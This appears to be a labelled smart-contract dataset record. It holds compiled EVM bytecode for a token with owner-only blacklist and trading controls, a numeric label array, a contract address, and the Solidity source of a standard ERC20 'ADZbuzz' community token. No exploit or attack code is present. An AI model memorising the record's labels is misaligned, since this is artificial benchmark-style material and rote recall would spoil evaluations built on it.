606482015260840161162e565b87600f60066101000a81548160ff021916908360ff16021790555086600f60056101000a81548160ff021916908360ff16021790555085600f60036101000a81548160ff021916908360ff16021790555084600f60046101000a81548160ff021916908360ff16021790555083600f60006101000a81548160ff021916908360ff16021790555082600f60016101000a81548160ff021916908360ff16021790555081600f60026101000a81548160ff021916908360ff1602179055506030600f60009054906101000a900460ff1660ff16108015611a965750600f54603061010090910460ff16105b8015611aae5750600f5460306201000090910460ff16105b611aea5760405162461bcd60e51b815260206004820152600d60248201526c4e6f20686f6e657920706c732160981b604482015260640161162e565b5050505050505050565b33600090815260208190526040812054819060ff1680611b1e57506001546001600160a01b031633145b611b3a5760405162461bcd60e51b815260040161162e90614cfb565b604051636eb1769f60e11b81526001600160a01b038416600482015230602482015273382f0160c24f5c515a19f155bac14d479433a40790819063dd62ed3e9060440160206040518083038186803b158015611b9557600080fd5b505afa158015611ba9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bcd9190614b26565b6040516370a0823160e01b81526001600160a01b0386811660048301528316906370a082319060240160206040518083038186803b158015611c0e57600080fd5b505afa158015611c22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c469190614b26565b9250925050915091565b3360009081526020819052604090205460ff1680611c7857506001546001600160a01b031633145b611c945760405162461bcd60e51b815260040161162e90614cfb565b600f8054911515680100000000000000000268ff000000000000000019909216919091179055565b3360009081526020819052604090205460ff1680611ce457506001546001600160a01b031633145b611d005760405162461bcd60e51b815260040161162e90614cfb565b604051600090339047908381818185875af1925050503d8060008114611d42576040519150601f19603f3d011682016040523d82523d6000602084013e611d47565b606091505b5050905080611d5557600080fd5b50565b3360009081526020819052604090205460ff1680611d8057506001546001600160a01b031633145b611d9c5760405162461bcd60e51b815260040161162e90614cfb565b6001600160a01b03166000908152600760205260409020805460ff19169055565b3360009081526020819052604090205460ff1680611de557506001546001600160a01b031633145b611e015760405162461bcd60e51b815260040161162e90614cfb565b6023805460ff1916911515919091179055565b611e206009600a614e31565b611e329067016345785d8a0000614edc565b81565b6000611e428484846139be565b6001600160a01b038416600090815260036020908152604080832033845290915290205482811015611ead5760405162461bcd60e51b81526020600482015260146024820152735472616e73666572203e20616c6c6f77616e636560601b604482015260640161162e565b611ec18533611ebc8685614efb565b6138cb565b506001949350505050565b600154600160a01b900460ff1615611f125760405162461bcd60e51b81526020600482015260096024820152681c99595b9d1c985b9d60ba1b604482015260640161162e565b6001805460ff60a01b1916600160a01b9081179091556015540460ff16611f6c5760405162461bcd60e51b815260206004820152600e60248201526d10db185a5b481a5cc8195b99195960921b604482015260640161162e565b3360009081526016602052604090205460ff1615611f8957600080fd5b6040516370a0823160e01b815233600482015273382f0160c24f5c515a19f155bac14d479433a4079060009082906370a082319060240160206040518083038186803b158015611fd857600080fd5b505afa158015611fec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120109190614b26565b604051636eb1769f60e11b815233600482015230602482015290915081906001600160a01b0384169063dd62ed3e9060440160206040518083038186803b15801561205a57600080fd5b505afa15801561206e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120929190614b26565b116120d65760405162461bcd60e51b81526020600482015260146024820152734e6f7420656e6f75676820616c6c6f77616e636560601b604482015260640161162e565b3060009081526002602052604090205481111561212a5760405162461bcd60e51b81526020600482015260126024820152714e6f7420656e6f75676820746f6b656e732160701b604482015260640161162e565b6040516323b872dd60e01b8152336004820152306024820152604481018290526001600160a01b038316906323b872dd90606401602060405180830381600087803b15801561217857600080fd5b505af115801561218c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121b09190614acc565b5030600090815260026020526040812080548392906121d0908490614efb565b909155505033600090815260026020526040812080548392906121f4908490614d8f565b909155505060405181815233903090600080516020614f7d8339815191529060200160405180910390a35050336000818152601660205260408120805460ff1916600190811790915560178054808301825592527fc624b66cc0138b8fabc209247f72d758e1cf3343756d543badbf24212bed8c1590910180546001600160a01b031916909217909155805460ff60a01b19169055565b3360009081526020819052604090205460ff16806122b357506001546001600160a01b031633145b6122cf5760405162461bcd60e51b815260040161162e90614cfb565b6001600160a01b03919091166000908152602081905260409020805460ff1916911515919091179055565b3360009081526020819052604090205460ff168061232257506001546001600160a01b031633145b61233e5760405162461bcd60e51b815260040161162e90614cfb565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526020819052604090205460ff168061238857506001546001600160a01b031633145b6123a45760405162461bcd60e51b815260040161162e90614cfb565b80600b60008282546123b69190614efb565b909155505030600090815260026020526040812080548392906123da908490614efb565b909155505060405181815261dead903090600080516020614f7d833981519152906020015b60405180910390a350565b3360009081526020819052604090205460ff168061243257506001546001600160a01b031633145b61244e5760405162461bcd60e51b815260040161162e90614cfb565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526020819052604090205460ff168061249857506001546001600160a01b031633145b6124b45760405162461bcd60e51b815260040161162e90614cfb565b60148161ffff1611156124f45760405162461bcd60e51b81526020600482015260086024820152670a8dede40d0d2ced60c31b604482015260640161162e565b600a805461ffff909216600160301b0267ffff00000000000019909216919091179055565b3360008181526003602090815260408083206001600160a01b038716845290915281205490916118d8918590611ebc908690614d8f565b3360009081526020819052604090205460ff168061257857506001546001600160a01b031633145b6125945760405162461bcd60e51b815260040161162e90614cfb565b601b805460ff909216620100000262ff000019909216919091179055565b3360009081526020819052604090205460ff16806125da57506001546001600160a01b031633145b6125f65760405162461bcd60e51b815260040161162e90614cfb565b60158054911515600160a01b0260ff60a01b19909216919091179055565b3360009081526020819052604090205460ff168061263c57506001546001600160a01b031633145b6126585760405162461bcd60e51b815260040161162e90614cfb565b602380546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b3360009081526020819052604090205460ff16806126aa57506001546001600160a01b031633145b6126c65760405162461bcd60e51b815260040161162e90614cfb565b6126d26009600a614e31565b6126dc9083614edc565b91506126ea6009600a614e31565b6126f49082614edc565b600c9290925550600d55565b3360009081526020819052604090205460ff168061272857506001546001600160a01b031633145b6127445760405162461bcd60e51b815260040161162e90614cfb565b6000600f600a9054906101000a90046001600160a01b0316905081600b60008282546127709190614d8f565b90915550506001600160a01b0381166000908152600260205260408120805484929061279d908490614d8f565b90915550506040518281526001600160a01b0382169061dead90600080516020614f7d8339815191529060200160405180910390a35050565b3360009081526020819052604090205460ff16806127fe57506001546001600160a01b031633145b61281a5760405162461bcd60e51b815260040161162e90614cfb565b600030905081600b60008282546127709190614d8f565b6000806128406009600a614e31565b600c5461284d9190614dcc565b6128596009600a614e31565b600d546128669190614dcc565b915091509091565b3360009081526020819052604090205460ff168061289657506001546001600160a01b031633145b6128b25760405162461bcd60e51b815260040161162e90614cfb565b6023805461ff001916610100179055565b3360009081526020819052604090205460ff16806128eb57506001546001600160a01b031633145b6129075760405162461bcd60e51b815260040161162e90614cfb565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b3360009081526020819052604090205460ff168061295a57506001546001600160a01b031633145b6129765760405162461bcd60e51b815260040161162e90614cfb565b80600b60008282546129889190614efb565b9091555050600f54600160501b90046001600160a01b0316600090815260026020526040812080548392906129be908490614efb565b9091555050600f5460405182815261dead91600160501b90046001600160a01b031690600080516020614f7d833981519152906020016123ff565b600154600160a01b900460ff1615612a3f5760405162461bcd60e51b81526020600482015260096024820152681c99595b9d1c985b9d60ba1b604482015260640161162e565b6001805460ff60a01b1916600160a01b1790556040516370a0823160e01b815233600482015273382f0160c24f5c515a19f155bac14d479433a4079060009082906370a082319060240160206040518083038186803b158015612aa157600080fd5b505afa158015612ab5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ad99190614b26565b905060008111612b235760405162461bcd60e51b81526020600482015260156024820152742737903a37b5b2b739903a37903a3930b739b332b960591b604482015260640161162e565b604051636eb1769f60e11b815233600482015230602482015281906001600160a01b0384169063dd62ed3e9060440160206040518083038186803b158015612b6a57600080fd5b505afa158015612b7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ba29190614b26565b1115612bf05760405162461bcd60e51b815260206004820152601860248201527f416c726561647920656e6f75676820616c6c6f77616e63650000000000000000604482015260640161162e565b6001600160a01b03821663095ea7b330612c0b84600a614edc565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015612c5157600080fd5b505af1158015612c65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c899190614acc565b50506001805460ff60a01b1916905550565b6001600160a01b038116600090815260046020526040812054428111612cc45750600092915050565b612cce4282614efb565b9392505050565b3360009081526020819052604090205460ff1680612cfd57506001546001600160a01b031633145b612d195760405162461bcd60e51b815260040161162e90614cfb565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526020819052604090205460ff1680612d6357506001546001600160a01b031633145b612d7f5760405162461bcd60e51b815260040161162e90614cfb565b601f805460009182905560405163a9059cbb60e01b8152336004820181905260248201839052919290309063a9059cbb906044015b602060405180830381600087803b158015612dce57600080fd5b505af1158015612de2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e069190614acc565b905080612e475760405162461bcd60e51b815260206004820152600f60248201526e1dda5d1a191c985dc819985a5b1959608a1b604482015260640161162e565b505050565b3360009081526003602090815260408083206001600160a01b038616845290915281205482811015612eaf5760405162461bcd60e51b815260206004820152600c60248201526b3c3020616c6c6f77616e636560a01b604482015260640161162e565b612ebe3385611ebc8685614efb565b5060019392505050565b3360009081526020819052604090205460ff1680612ef057506001546001600160a01b031633145b612f0c5760405162461bcd60e51b815260040161162e90614cfb565b601c805460009182905560115460405191926001600160a01b0390911691829084905b60006040518083038185875af1925050503d8060008114612f6c576040519150601f19603f3d011682016040523d82523d6000602084013e612f71565b606091505b5050905080612e475760405162461bcd60e51b815260206004820152600f60248201526e1dda5d1a191c985dc819985a5b1959608a1b604482015260640161162e565b60006118d83384846139be565b3360009081526020819052604090205460ff1680612fe957506001546001600160a01b031633145b6130055760405162461bcd60e51b815260040161162e90614cfb565b601b805460ff191660ff92909216919091179055565b3360009081526020819052604090205460ff168061304357506001546001600160a01b031633145b61305f5760405162461bcd60e51b815260040161162e90614cfb565b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b3360009081526020819052604090205460ff16806130ab57506001546001600160a01b031633145b6130c75760405162461bcd60e51b815260040161162e90614cfb565b601d805460009182905560125460405191926001600160a01b039091169182908490612f2f565b601781815481106130fe57600080fd5b6000918252602090912001546001600160a01b0316905081565b3360009081526020819052604090205460ff168061314057506001546001600160a01b031633145b61315c5760405162461bcd60e51b815260040161162e90614cfb565b600f546001600160a01b03828116600160501b9092041614156131ac5760405162461bcd60e51b815260206004820152600860248201526748657921204e6f2160c01b604482015260640161162e565b6040516370a0823160e01b815230600482015281906000906001600160a01b038316906370a082319060240160206040518083038186803b1580156131f057600080fd5b505afa158015613204573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132289190614b26565b90506000811161327a5760405162461bcd60e51b815260206004820152601860248201527f4e6f20746f6b656e7320696e206f75722062616c616e63650000000000000000604482015260640161162e565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb90604401602060405180830381600087803b1580156132c257600080fd5b505af11580156132d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132fa9190614acc565b50505050565b3360009081526020819052604090205460ff168061332857506001546001600160a01b031633145b6133445760405162461bcd60e51b815260040161162e90614cfb565b8060005b8181101561351e5785858281811061336257613362614f43565b9050602002013560026000306001600160a01b03166001600160a01b031681526020019081526020016000205410156133d05760405162461bcd60e51b815260206004820152601060248201526f4e6f7420656e6f7567682066756e647360801b604482015260640161162e565b8585828181106133e2576133e2614f43565b9050602002013560026000306001600160a01b03166001600160a01b03168152602001908152602001600020600082825461341d9190614efb565b90915550869050858281811061343557613435614f43565b905060200201356002600086868581811061345257613452614f43565b90506020020160208101906134679190614935565b6001600160a01b03166001600160a01b0316815260200190815260200160002060008282546134969190614d8f565b9091555084905083828181106134ae576134ae614f43565b90506020020160208101906134c39190614935565b6001600160a01b031630600080516020614f7d8339815191528888858181106134ee576134ee614f43565b9050602002013560405161350491815260200190565b60405180910390a38061351681614f12565b915050613348565b505050505050565b3360009081526020819052604090205460ff168061354e57506001546001600160a01b031633145b61356a5760405162461bcd60e51b815260040161162e90614cfb565b6008805460ff1916911515919091179055565b3360009081526020819052604090205460ff16806135a557506001546001600160a01b031633145b6135c15760405162461bcd60e51b815260040161162e90614cfb565b6101f4600b546135d19190614dcc565b81101561360a5760405162461bcd60e51b8152602060048201526007602482015266546f6f206c6f7760c81b604482015260640161162e565b600955565b3360009081526020819052604090205460ff168061363757506001546001600160a01b031633145b6136535760405162461bcd60e51b815260040161162e90614cfb565b601b805460ff9092166101000261ff0019909216919091179055565b3360009081526020819052604090205460ff168061369757506001546001600160a01b031633145b6136b35760405162461bcd60e51b815260040161162e90614cfb565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b3360009081526020819052604090205460ff168061370657506001546001600160a01b031633145b6137225760405162461bcd60e51b815260040161162e90614cfb565b601e805460009182905560405163a9059cbb60e01b8152336004820181905260248201839052919290309063a9059cbb90604401612db4565b3360009081526020819052604090205460ff168061378357506001546001600160a01b031633145b61379f5760405162461bcd60e51b815260040161162e90614cfb565b602180549115156101000261ff0019909216919091179055565b3360009081526020819052604090205460ff16806137e157506001546001600160a01b031633145b6137fd5760405162461bcd60e51b815260040161162e90614cfb565b611d5561380e82633b9aca00614edc565b613db9565b3360009081526020819052604090205460ff168061383b57506001546001600160a01b031633145b6138575760405162461bcd60e51b815260040161162e90614cfb565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b3360009081526020819052604090205460ff16806138aa57506001546001600160a01b031633145b6138c65760405162461bcd60e51b815260040161162e90614cfb565b602255565b6001600160a01b0383166139155760405162461bcd60e51b8152602060048201526011602482015270417070726f76652066726f6d207a65726f60781b604482015260640161162e565b6001600160a01b03821661395d5760405162461bcd60e51b815260206004820152600f60248201526e417070726f766520746f207a65726f60881b604482015260640161162e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316613a095760405162461bcd60e51b81526020600482015260126024820152715472616e736665722066726f6d207a65726f60701b604482015260640161162e565b6001600160a01b038216613a525760405162461bcd60e51b815260206004820152601060248201526f5472616e7366657220746f207a65726f60801b604482015260640161162e565b60085460ff1615613ada576001600160a01b03831660009081526007602052604090205460ff16158015613a9f57506001600160a01b03821660009081526007602052604090205460ff16155b613ada5760405162461bcd60e51b815260206004820152600c60248201526b426c61636b6c69737465642160a01b604482015260640161162e565b6001600160a01b03831660009081526005602052604081205460ff1680613b1957506001600160a01b03831660009081526005602052604090205460ff165b80613b3c57506001600160a01b03841660009081526020819052604090205460ff165b80613b5f57506001600160a01b03831660009081526020819052604090205460ff165b905060006001600160a01b038516301480613b8257506001600160a01b03841630145b600f549091506000906001600160a01b03878116600160501b90920416148015613bc857506001600160a01b038516737a250d5630b4cf539739df2c5dacb4c659f2488d145b80613c0e5750600f546001600160a01b03868116600160501b90920416148015613c0e57506001600160a01b038616737a250d5630b4cf539739df2c5dacb4c659f2488d145b90508180613c195750805b80613c215750825b15613c3657613c31868686614065565b61351e565b602354610100900460ff16613d23576001546001600160a01b03878116911614801590613c7157506001546001600160a01b03868116911614155b15613d2357600f54600160481b900460ff1615613ccc57846001600160a01b0316866001600160a01b0316600080516020614f7d8339815191526000604051613cbc91815260200190565b60405180910390a3505050505050565b602354610100900460ff16613d235760405162461bcd60e51b815260206004820152601760248201527f74726164696e67206e6f742079657420656e61626c6564000000000000000000604482015260640161162e565b600f546000906001600160a01b03888116600160501b909204161480613d6557506001600160a01b038716737a250d5630b4cf539739df2c5dacb4c659f2488d145b600f549091506000906001600160a01b03888116600160501b909204161480613daa57506001600160a01b038716737a250d5630b4cf539739df2c5dacb4c659f2488d145b9050611aea888888858561411e565b6021805460ff19166001179055601f54306000908152600260205260408120549091613de491614efb565b600f5490915060009060ff600160381b8204811691600160281b8104821691613e20916401000000008104821691630100000090910416614da7565b613e2a9190614da7565b613e349190614da7565b60ff1690506000600954905083811115613e5657600a5460ff1615613e565750825b80831080613e66575061ffff8216155b15613e7357505050614058565b600f5460009061ffff841690613e93906301000000900460ff1684614edc565b613e9d9190614dcc565b600f5490915060009061ffff851690613ec190640100000000900460ff1685614edc565b613ecb9190614dcc565b600f5490915060009061ffff861690613eee90600160301b900460ff1686614edc565b613ef89190614dcc565b600f5490915060009061ffff871690613f1b90600160281b900460ff1687614edc565b613f259190614dcc565b600f5490915060009061ffff881690613f4890600160381b900460ff1688614edc565b613f529190614dcc565b90506000613f61600287614dcc565b90506000613f6f8288614efb565b905060008385613f7f8985614d8f565b613f899190614d8f565b613f939190614d8f565b905047613f9f82614544565b6000613fab8247614efb565b9050600083613fba8684614edc565b613fc49190614dcc565b9050613fd086826146a4565b6000613fdc8447614efb565b9050613fe781614774565b6013546001600160a01b0316600090815260026020526040812080548c9290614011908490614d8f565b90915550506013546040518b81526001600160a01b03909116903090600080516020614f7d8339815191529060200160405180910390a35050505050505050505050505050505b506021805460ff19169055565b6001600160a01b038316600090815260026020526040902054818110156140c95760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220657863656564732062616c616e636560401b604482015260640161162e565b6140d38483614836565b6140dd838361487b565b826001600160a01b0316846001600160a01b0316600080516020614f7d8339815191528460405161411091815260200190565b60405180910390a350505050565b6001600160a01b038085166000908152600260205260408082205492881682529020548481101561418c5760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220657863656564732062616c616e636560401b604482015260640161162e565b6002600d5461419b9190614dcc565b600955600083156142b1576001600160a01b03881660009081526006602052604090205460ff1661425c576001600160a01b038816600090815260046020526040902054421015806141f45750602154610100900460ff165b6142355760405162461bcd60e51b815260206004820152601260248201527153656c6c657220696e2073656c6c4c6f636b60701b604482015260640161162e565b6022546142429042614d8f565b6001600160a01b0389166000908152600460205260409020555b600d548611156142a05760405162461bcd60e51b815260206004820152600f60248201526e223ab6b810383937ba32b1ba34b7b760891b604482015260640161162e565b50600f54610100900460ff166143d4565b841561431057600c546142c48785614d8f565b11156142e25760405162461bcd60e51b815260040161162e90614cd1565b600e548611156143045760405162461bcd60e51b815260040161162e90614cd1565b50600f5460ff166143d4565b600c5461431d8785614d8f565b111561433b5760405162461bcd60e51b815260040161162e90614cd1565b6001600160a01b03881660009081526006602052604090205460ff166143c6576001600160a01b038816600090815260046020526040902054421015806143895750602154610100900460ff165b6143c65760405162461bcd60e51b815260206004820152600e60248201526d53656e64657220696e204c6f636b60901b604482015260640161162e565b50600f5462010000900460ff165b600f546001600160a01b03898116600160501b90920416148015906143fc575060235460ff16155b801561440b575060215460ff16155b156144195761441986613db9565b600f54600090614486908890849060ff600160381b8204811691600160301b8104821691600160281b82048116916144639163010000008204811691640100000000900416614da7565b61446d9190614da7565b6144779190614da7565b6144819190614da7565b61489f565b905060006144948289614efb565b90506144a08a89614836565b30600090815260026020526040812080548492906144bf908490614d8f565b909155506144cf9050898261487b565b60405182815230906001600160a01b038c1690600080516020614f7d8339815191529060200160405180910390a3886001600160a01b03168a6001600160a01b0316600080516020614f7d8339815191528360405161453091815260200190565b60405180910390a350505050505050505050565b60155461455c9030906001600160a01b0316836138cb565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061459157614591614f43565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156145e557600080fd5b505afa1580156145f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061461d9190614952565b8160018151811061463057614630614f43565b6001600160a01b03928316602091820292909201015260155460405163791ac94760e01b815291169063791ac94790614676908590600090869030904290600401614d1e565b600060405180830381600087803b15801561469057600080fd5b505af115801561351e573d6000803e3d6000fd5b80602060008282546146b69190614d8f565b90915550506015546146d39030906001600160a01b0316846138cb565b60155460405163f305d71960e01b8152306004820181905260248201859052600060448301819052606483015260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561473b57600080fd5b505af115801561474f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118079190614bad565b601b5460009060649061478a9060ff1684614edc565b6147949190614dcc565b601b549091506000906064906147b290610100900460ff1685614edc565b6147bc9190614dcc565b601b549091506000906064906147db9062010000900460ff1686614edc565b6147e59190614dcc565b905082601c60008282546147f99190614d8f565b9250508190555081601d60008282546148129190614d8f565b9250508190555080601f600082825461482b9190614d8f565b909155505050505050565b6001600160a01b03821660009081526002602052604081205461485a908390614efb565b6001600160a01b039093166000908152600260205260409020929092555050565b6001600160a01b03821660009081526002602052604081205461485a908390614d8f565b60006127108260ff168460ff16866148b79190614edc565b6148c19190614edc565b6148cb9190614dcc565b949350505050565b60008083601f8401126148e557600080fd5b50813567ffffffffffffffff8111156148fd57600080fd5b6020830191508360208260051b850101111561491857600080fd5b9250929050565b803560ff8116811461493057600080fd5b919050565b60006020828403121561494757600080fd5b8135612cce81614f59565b60006020828403121561496457600080fd5b8151612cce81614f59565b6000806040838503121561498257600080fd5b823561498d81614f59565b9150602083013561499d81614f59565b809150509250929050565b6000806000606084860312156149bd57600080fd5b83356149c881614f59565b925060208401356149d881614f59565b929592945050506040919091013590565b600080604083850312156149fc57600080fd5b8235614a0781614f59565b9150602083013561499d81614f6e565b60008060408385031215614a2a57600080fd5b8235614a3581614f59565b946020939093013593505050565b60008060008060408587031215614a5957600080fd5b843567ffffffffffffffff80821115614a7157600080fd5b614a7d888389016148d3565b90965094506020870135915080821115614a9657600080fd5b50614aa3878288016148d3565b95989497509550505050565b600060208284031215614ac157600080fd5b8135612cce81614f6e565b600060208284031215614ade57600080fd5b8151612cce81614f6e565b600060208284031215614afb57600080fd5b813561ffff81168114612cce57600080fd5b600060208284031215614b1f57600080fd5b5035919050565b600060208284031215614b3857600080fd5b5051919050565b600080600060408486031215614b5457600080fd5b83359250602084013567ffffffffffffffff811115614b7257600080fd5b614b7e868287016148d3565b9497909650939450505050565b60008060408385031215614b9e57600080fd5b50508035926020909101359150565b600080600060608486031215614bc257600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215614bed57600080fd5b612cce8261491f565b600080600080600080600060e0888a031215614c1157600080fd5b614c1a8861491f565b9650614c286020890161491f565b9550614c366040890161491f565b9450614c446060890161491f565b9350614c526080890161491f565b9250614c6060a0890161491f565b9150614c6e60c0890161491f565b905092959891949750929550565b600060208083528351808285015260005b81811015614ca957858101830151858201604001528201614c8d565b81811115614cbb576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526010908201526f3bb430b63290383937ba32b1ba34b7b760811b604082015260600190565b6020808252600990820152683737ba1037bbb732b960b91b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015614d6e5784516001600160a01b031683529383019391830191600101614d49565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115614da257614da2614f2d565b500190565b600060ff821660ff84168060ff03821115614dc457614dc4614f2d565b019392505050565b600082614de957634e487b7160e01b600052601260045260246000fd5b500490565b600181815b80851115614e29578160001904821115614e0f57614e0f614f2d565b80851615614e1c57918102915b93841c9390800290614df3565b509250929050565b6000612cce60ff841683600082614e4a575060016118dc565b81614e57575060006118dc565b8160018114614e6d5760028114614e7757614e93565b60019150506118dc565b60ff841115614e8857614e88614f2d565b50506001821b6118dc565b5060208310610133831016604e8410600b8410161715614eb6575081810a6118dc565b614ec08383614dee565b8060001904821115614ed457614ed4614f2d565b029392505050565b6000816000190483118215151615614ef657614ef6614f2d565b500290565b600082821015614f0d57614f0d614f2d565b500390565b6000600019821415614f2657614f26614f2d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114611d5557600080fd5b8015158114611d5557600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220891bfc4464aafb180b8f252eda02696fe9a927724bffdcc435b3d4187b0d05a764736f6c63430008070033
[ 13, 16, 7, 5 ]
0xf1c7ad4799797cad0127be9e0bac4fbc4bb9f92a
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'ACT394803' token contract // // Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187 // Symbol : ACT394803 // Name : ADZbuzz Playstation.com Community Token // Total supply: 2000000 // Decimals : 8 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ADZbuzzCommunityToken() public { symbol = "ACT394803"; name = "ADZbuzz Playstation.com Community Token"; decimals = 8; _totalSupply = 200000000000000; balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply; emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
